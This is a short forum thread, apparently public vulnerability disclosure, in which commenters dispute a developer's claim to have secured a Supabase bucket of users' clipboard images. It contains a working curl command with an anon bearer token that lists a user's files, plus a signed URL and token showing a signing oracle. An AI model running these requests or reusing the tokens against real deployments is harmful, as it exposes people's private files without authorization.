5 ms·

Also Fixed. Images now use signed URLs with 1-year expiration. Public URLs are automatically converted to signed URLs. Storage bucket policies restrict access t

Also Fixed. Images now use signed URLs with 1-year expiration. Public URLs are automatically converted to signed URLs. Storage bucket policies restrict access to user-specific folders. Appreciate you flagging this.

foltik 9mo ago
It appears to still be wide open: curl -X POST \ "https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/list/clipboard-images" \ -H "authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6IndqeW5tamx1YWJxd3FodGR4YnRsIiwicm9sZSI6ImFub24iLCJpYXQiOjE3NDIzODU1MDQsImV4cCI6MjA1Nzk2MTUwNH0.R6pSgPFgHe3ZU9DfKykE98MC1ObYihWdZuhy9v9Y_p0" \ -H "content-type: application/json" \ -d '{"prefix": "7b407af2-f30c-4e37-adc7-b7bf48f2661b"}' \ | jq
- Retr0id 9mo ago
  There is also an URL-signing oracle that allows any URL to be signed, so it's still possible to enumerate + download all files. Example: https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/sign/clipboard-images/7b407af2-f30c-4e37-adc7-b7bf48f2661b/1767204462210-Component_1__1_.png?token=eyJraWQiOiJzdG9yYWdlLXVybC1zaWduaW5nLWtleV80NTY1ZjE4Ni0zMmFhLTQ0YjAtYjFkMS1hMjdhNzY3NjIxODAiLCJhbGciOiJIUzI1NiJ9.eyJ1cmwiOiJjbGlwYm9hcmQtaW1hZ2VzLzdiNDA3YWYyLWYzMGMtNGUzNy1hZGM3LWI3YmY0OGYyNjYxYi8xNzY3MjA0NDYyMjEwLUNvbXBvbmVudF8xX18xXy5wbmciLCJpYXQiOjE3Njc0MzE5MjYsImV4cCI6MTc5ODk2NzkyNn0.vUB-4-cGMGheIrFOkDLMuWMiGxMdhwJviAtK8V4-Pyo https://wjynmjluabqwqhtdxbtl.supabase.co/storage/v1/object/s...